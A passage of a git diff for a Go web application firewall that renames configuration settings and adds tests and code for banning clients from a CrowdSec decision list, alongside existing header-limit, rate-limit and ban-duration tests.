bansWriteDelay: "1h",
stateWriteInterval: "1h",
stateWriteDelay: "1h",
stateCounterInterval: "1h",
}
runUntilStopped(t, env, func(url string) {
@@ -551,9 +551,9 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: dir,
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: dir,
// The requests sent until the rule takes effect must not break a
// rate limit, whose ban would refuse them too.
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
@@ -602,17 +602,13 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
)
}
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
t.Parallel()
dir := filepath.Join(t.TempDir(), "rules.d")
wantRulesRefused(
t,
dir,
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
": no such file or directory",
)
wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
": no such file or directory")
}
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
@@ -624,7 +620,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
out := &output{}
status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out)
if status != 1 {
@@ -656,8 +652,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
out := &output{}
status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff,
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out)
if status != 1 {
@@ -679,7 +675,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
metricsToken: token,
instanceName: instance,
lookupSource: "file",
@@ -792,7 +788,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
cacheDir: cache,
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
metricsToken: token,
instanceName: instance,
"SWW_WAF_BLOCKLIST_URLS": torURL,
@@ -847,6 +843,92 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
}
}
func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
t.Parallel()
const bouncerKey = "crowdsec-key-0123456789abcdef"
// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
// four hours, and answers only a request with its key, while it is up.
down := new(atomic.Bool)
engine := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
switch {
case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
w.WriteHeader(http.StatusForbidden)
case down.Load():
w.WriteHeader(http.StatusServiceUnavailable)
default:
_, _ = io.WriteString(
w,
`[{"duration": "4h0m0s", "origin": "crowdsec", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`,
)
}
}))
t.Cleanup(engine.Close)
dir, cache := t.TempDir(), t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
cacheDir: cache,
rulesDir: t.TempDir(),
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
}
// Once the list is fetched, the client's request bans it.
first := runUntilStopped(t, env, func(url string) {
for statusFrom(t, url, placed) != http.StatusForbidden {
time.Sleep(pollInterval)
}
})
ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf(
"bans.json holds %v, want the ban for crowdsec on %s",
ban,
placed,
)
}
// Restarted with the engine down, the copy kept in lists.json bans
// another client in the netblock from its first request.
down.Store(true)
second := runUntilStopped(t, env, func(url string) {
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
})
// The key is in neither run's output, nor in a state or cache file.
files := []string{
filepath.Join(dir, "bans.json"), filepath.Join(dir, "clients.json"),
filepath.Join(cache, "lists.json"),
}
shown := make([]string, 0, len(files)+2)
shown = append(shown, first.text(), second.text())
for _, path := range files {
data, err := os.ReadFile(path) //nolint:gosec // the test's
if err != nil {
t.Fatalf("read %s: %v", path, err)
}
shown = append(shown, string(data))
}
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf(
"the key is shown in the output or the state and cache files:\n%s",
all,
)
}
}
// wantDeniedByList checks that the request log line is of a request the
// blocklist at listURL refused.
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
@@ -875,7 +957,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
lookupSource: "file", lookupDBPath: path,
}, out)
if status != 1 {
@@ -910,7 +992,7 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
}
@@ -967,14 +1049,14 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
}()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
String(),
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1",
metricsToken: token,
instanceName: instance,
"SWW_WAF_LOG_REMOTE_BUFFER": "1",
metricsToken: token,
instanceName: instance,
}
out := runUntilStopped(t, env, func(url string) {
@@ -1045,7 +1127,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
ruleFilesDir: rules,
rulesDir: rules,
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
instanceName: instance,
@@ -1151,7 +1233,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
rateLimitPerDay: "1",
// The metrics are read from 127.0.0.1, which no limit counts.
"SWW_WAF_ALLOW_NETS": localhost + "/32",
@@ -1245,7 +1327,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
cacheDir: filepath.Join(t.TempDir(), "missing"),
}, out)
if status != 1 {
@@ -1274,7 +1356,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(),
listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
}, out)
if status != 1 {
t.Fatalf("exit status %d, want 1", status)
@@ -1304,7 +1386,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
out := &output{}
status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir,
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
}, out)
if status != 1 {
t.Fatalf("exit status %d, want 1", status)
@@ -1376,8 +1458,8 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
listenAddr: localhost + ":0",
stateDir: dir,
"SWW_WAF_MODE": "enforce",
bansWriteDelay: "10s",
stateWriteInterval: "15m",
stateWriteDelay: "10s",
stateCounterInterval: "15m",
"SWW_WAF_ALLOW_NETS": "",
rateLimitExemptNets: "",
"SWW_WAF_DENY_NETS": "",
@@ -1390,11 +1472,11 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
"SWW_WAF_BAN_RESPONSE": "403",
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d",
"SWW_WAF_MAX_BAN_DURATION": "7d",
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
"SWW_WAF_MAX_BANS": "5000",
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
"SWW_WAF_RULE_FILES_ENABLED": "true",
"SWW_WAF_RULES_ENABLED": "true",
}
for name, value := range want {
+4 -4
View File
@@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) {
listenAddr+"="+localhost+":0",
stateDir+"="+dir,
cacheDir+"="+dir,
ruleFilesDir+"="+t.TempDir(),
rulesDir+"="+t.TempDir(),
lookupSource+"=off")
exited := startProcess(t, cmd)
@@ -278,9 +278,9 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
t.Parallel()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
}
runWAF(t, env, func(addr string) {
+3 -3
View File
@@ -1,7 +1,7 @@
package waf
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION.
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
import (
"context"
@@ -16,7 +16,7 @@ import (
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then
@@ -54,7 +54,7 @@ func (abuseIPDB) check(
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
)
if rq.h.config.DNSBLAbuseIPDBAction != deny {
if rq.h.config.ReputationAction != deny {
return nil
}
+3 -3
View File
@@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
ruleFilesDir: writeRules(t, testRules),
rulesDir: writeRules(t, testRules),
})
start := clk.Now()
netblock := netip.MustParsePrefix(client + "/32")
@@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
rateLimitPerMinute: "2",
ruleFilesDir: writeRules(t, testRules),
rulesDir: writeRules(t, testRules),
})
start := clk.Now()
@@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
s, _, _, queue := startWithAlerts(t, map[string]string{
mode: observe,
rateLimitPerMinute: "2",
ruleFilesDir: writeRules(t, testRules),
rulesDir: writeRules(t, testRules),
alertMaxPerHour: "2",
})
+1 -1
View File
@@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
client: netip.MustParseAddr("203.0.113.9"),
lookedUp: true,
},
h: &handler{config: &config.WAF{LookupSource: "geojs"}},
h: &handler{config: &config.Config{LookupSource: "geojs"}},
}
defer func() {
+13 -14
View File
@@ -21,11 +21,11 @@ import (
// The anomaly thresholds: the prefix of a scope followed by the end of a
// count.
const (
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_"
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
anomalyWatch = "SWW_WAF_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR"
@@ -37,7 +37,7 @@ const (
const (
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS"
watchNets = "SWW_WAF_WATCH_NETS"
)
const (
@@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
{
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
},
} {
@@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t.Run(setting, func(t *testing.T) {
t.Parallel()
env := map[string]string{setting: value, watchedNets: office}
env := map[string]string{setting: value, watchNets: office}
s, clk, server, queue := startWithLookupsAndClock(t, env)
start := clk.Now()
@@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
// With every threshold off, nothing is counted.
s, server, queue := startWithLookups(
t,
map[string]string{watchedNets: office},
map[string]string{watchNets: office},
)
for range 5 {
@@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
// With one set, its count alone is counted, in its scope alone.
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
anomalyNet + requestsPerMinute: aLot, watchedNets: office,
anomalyNet + requestsPerMinute: aLot, watchNets: office,
})
for range 5 {
@@ -348,8 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
addLookupHeaders: falseValue,
lookupTimeout: "1h",
anomalyASN + requestsPerMinute: aLot,
})
server.Store(started)
@@ -380,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t,
readAndAnswer,
map[string]string{
anomalyWatchedNet + requestsPerMinute: aLot,
watchedNets: office + ",wide=203.0.0.0/16" +
anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16" +
",other=198.51.100.0/25",
},
)
+48 -40
View File
@@ -29,13 +29,13 @@ import (
)
const (
// answerTimeLimit is the default of rproxy's
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer.
// answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
// waf has to answer.
answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
// defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
defaultDNSBLAbuseIPDBWait = 2 * time.Second
// defaultReputationWait is the default of SWW_WAF_REPUTATION_TIMEOUT.
defaultReputationWait = 2 * time.Second
// The header limits SPEC.md gives.
cookieLimit = 50
headerFieldLimit = 100
@@ -48,6 +48,9 @@ const (
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
// wholeLimit is the percentage of a rate limit that lowers it not at all.
wholeLimit = 100
// clientsDecision is the CrowdSec decision list holding client alone.
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
)
// cookies returns a Cookie header's value with count cookies.
@@ -77,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
) {
t.Parallel()
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
s := startWAF(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -157,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
s := startWAF(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
tc.make(req)
@@ -192,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
t.Parallel()
for _, env := range []map[string]string{
{coreRuleSetMode: off},
{coreRuleSetMode: "detect"},
{coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
{wafMode: off},
{wafMode: "detect"},
{wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
} {
t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel()
@@ -214,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
s := startWAF(
t,
"",
map[string]string{coreRuleSetMode: block, allowNets: client},
map[string]string{wafMode: block, allowNets: client},
)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -225,11 +228,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel()
s := startWAF(
t,
"",
map[string]string{mode: observe, coreRuleSetMode: block},
)
s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -293,9 +292,13 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
"/", leaveAsItIs,
},
{"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient},
{
"the CrowdSec decision list",
map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, "/", decideOnClient,
},
{
"a DNS blocklist", map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
},
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
@@ -303,7 +306,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
},
{
"AbuseIPDB",
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
loadScores(server, map[string]int64{client: 80})
@@ -322,9 +325,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
leaveAsItIs,
},
{
"a block rule",
map[string]string{ruleFilesDir: writeRules(t, testRules)},
"/blocked",
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
leaveAsItIs,
},
} {
@@ -365,9 +366,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
t,
map[string]standInRoute{client: {prefixDE, 64496}},
),
dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog,
ruleFilesDir: writeRules(t, "noted path log ^/\n"),
coreRuleSetMode: block,
dnsblZones: dnsblZone, reputationAction: actionLog,
rulesDir: writeRules(t, "noted path log ^/\n"),
wafMode: block,
})
loadLists(t, s.server, map[string][]string{vpnList: {client}})
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
@@ -425,9 +426,7 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
// not wait.
geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
unknownCountryLimitPercent: "0",
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
})
countClient(t, s.server, s.clock.Now())
@@ -460,7 +459,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
// not wait.
geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
unknownCountryLimitPercent: "0", rateLimitPerMinute: "1",
unknownLimitPercent: "0", rateLimitPerMinute: "1",
})
s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
@@ -495,7 +494,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
geojsURL, asked := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000",
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -585,6 +584,12 @@ func listClient(t *testing.T, server *waf.Server, now time.Time) {
}
}
// decideOnClient puts client on the CrowdSec decision list.
func decideOnClient(t *testing.T, server *waf.Server, now time.Time) {
t.Helper()
loadDecisions(t, server, now, clientsDecision)
}
// leaveAsItIs prepares nothing.
func leaveAsItIs(*testing.T, *waf.Server, time.Time) {}
@@ -617,10 +622,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
action: requestlog.ActionClientIsRateLimited,
},
{
name: "the rate limits, with a biased threshold",
env: map[string]string{
rateLimitPerMinute: "1", unknownCountryLimitPercent: "50",
},
name: "the rate limits, with a biased threshold",
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
@@ -628,6 +631,12 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
},
{
name: "the CrowdSec decision list",
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
prepare: decideOnClient, status: forbidden,
action: requestlog.ActionTemporarilyBanned,
},
{
name: "the header limits", cookie: cookies(cookieLimit + 1),
prepare: leaveAsItIs, status: tooLarge,
@@ -637,9 +646,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
// so that a request that does not wait takes no time at all.
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) {
server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
@@ -751,18 +759,18 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
return waf.New(params)
}, silentGeoJSURL, time.Now, map[string]string{
tagDeny: "country=KP", coreRuleSetMode: block,
tagDeny: "country=KP", wafMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver,
abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
crowdSecURL: held, crowdSecKey: bouncerKey,
})
// The lists are fetched outside the synctest bubble below: a wait on the
// network inside it would keep its clock from moving on.
go server.Lists.Run(t.Context())
// In the bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
// answer takes exactly as long as waf waits, however busy the host is.
// GeoJS and AbuseIPDB never answer there, without the network. The query to
// the DNS blocklist waits on the network, which stops the bubble's clock,
@@ -824,7 +832,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// The query is answered, and the check with AbuseIPDB abandoned,
// before the bubble ends.
releaseResolver()
time.Sleep(defaultDNSBLAbuseIPDBWait)
time.Sleep(defaultReputationWait)
})
}
+56 -4
View File
@@ -11,6 +11,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
@@ -80,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says.
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes
switch rq.h.config.BytesCounted {
switch rq.h.config.BytesCount {
case "response":
return response
case "request":
@@ -99,8 +100,8 @@ func (rq *request) countedBytes() int64 {
// the metrics. status is what the client was sent, or is sent:
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the
// refusal limit. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
@@ -205,6 +206,57 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
return banAction(ban.Permanent())
}
// banForCrowdSec bans the client's netblock at now until decision,
// CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert
// would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec(
now time.Time,
decision reputation.Decision,
) string {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe &&
!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
)
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
netblock,
now,
decision.Expires,
decision.Scenario,
notes,
)
if wouldBan {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
// wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per
+16 -16
View File
@@ -90,10 +90,10 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1",
limitBanDuration: "10m",
limitBanRepeatWindow: "1h",
limitBanPermanentAbove: "1h",
rateLimitPerMinute: "1",
limitBanDuration: "10m",
limitBanRepeatWindow: "1h",
maxBanDuration: "1h",
})
// breakLimit has client go over the limit of one a minute, and
@@ -130,7 +130,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
clk.advance(10 * time.Minute)
wantExpires(breakLimit(), 30*time.Minute)
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is
// 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
// permanent.
clk.advance(30 * time.Minute)
@@ -256,10 +256,10 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
